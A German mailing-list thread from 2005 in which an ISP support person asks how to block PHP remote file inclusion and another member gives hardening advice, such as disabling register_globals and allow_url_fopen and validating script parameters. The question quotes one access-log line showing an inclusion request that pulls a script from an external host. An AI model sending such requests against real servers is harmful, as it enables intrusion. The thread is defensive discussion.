Hallo zusammen. Ich melde mich betreffend einem PHP / Get Befehl. Durch PHP konnte jemand diverse Scripte von einer externen URL Abrufen (Infolge aktivierter safemode und registerglobalsfunktion). Hier ein Beispiel für einen solchen Zugriff 123.123.123.123- - [15/Mar/2005:] "GET /content/http://externesite.com/cmd?.php HTTP/1.1". Nun zu meiner Frage: Besteht die Möglichkeit, dass man PHP oder den Apache soweit einschränken kann, dass in einer URL nur einmal den Wert http auftreten darf? Wenn ja, kann mir da jemand einen Tipp geben wie ich einen solchen Filter einbauen kann? Vielen Dank für eure Hilfe. Christian
Hallo Christian, hallo Leute, Am Mittwoch, 16. März 2005 01:11 schrieb FireStorm ISP [Support]: ^^^^^^^^^^^^^^^^^^^^^^^ Schreib bitte Deinen Namen in den Absender. Das, das derzeit drinsteht, passt eher in "Organisation:".
Ich melde mich betreffend einem PHP / Get Befehl. Durch PHP konnte jemand diverse Scripte von einer externen URL Abrufen (Infolge aktivierter safemode und registerglobalsfunktion). Hier ein Beispiel
register_globals solltest Du abschalten. Falls es für alte Scripte noch gebraucht wird, kannst Du es auch verzeichnisweise in der Apache-Config aktivieren.
für einen solchen Zugriff 123.123.123.123- - [15/Mar/2005:] "GET /content/http://externesite.com/cmd?.php HTTP/1.1".
Nun zu meiner Frage: Besteht die Möglichkeit, dass man PHP oder den Apache soweit einschränken kann, dass in einer URL nur einmal den Wert http auftreten darf? Wenn ja, kann mir da jemand einen Tipp geben wie ich einen solchen Filter einbauen kann?
Deine Mail ist nicht sonderlich detailliert, deshalb nur ein paar allgemeine Hinweise: - was ist /content/ ? Ein PHP-Script? Quelle/Autor des Scripts? - die Prüfung auf erlaubte Parameter muss innerhalb des Scripts erfolgen. Falls das nicht erfolgt, ist das Script ein Sicherheitsrisiko. - mit dem Abschalten von allow_url_fopen (php.ini) kommst Du vermutlich etwas weiter. Allerdings repariert das nicht Dein PHP-Script! Du hast die Sicherheitslücke nur überdeckt. - lies Sicheres Programmieren in PHP http://www.php-faq.de/ch/ch-security.html Ein besonderes Augenmerk solltest Du dabei auf "Wie unterscheide ich böse Variablen von guten?" und "Prüfe importierte Parameter. Traue niemandem" richten ;-) Gruß Christian Boltz -- Ich suche da noch nen schönen Schreibtisch für meine Tastatur. Mit dieser wird ausschließlich mein Linux-Rechner bedient. Die Windows-Tasten habe ich überklebt. [Markus Nohn in suse-linux zur Frage "was ist OT?"]
participants (2)
-
Christian Boltz
-
FireStorm ISP [Support]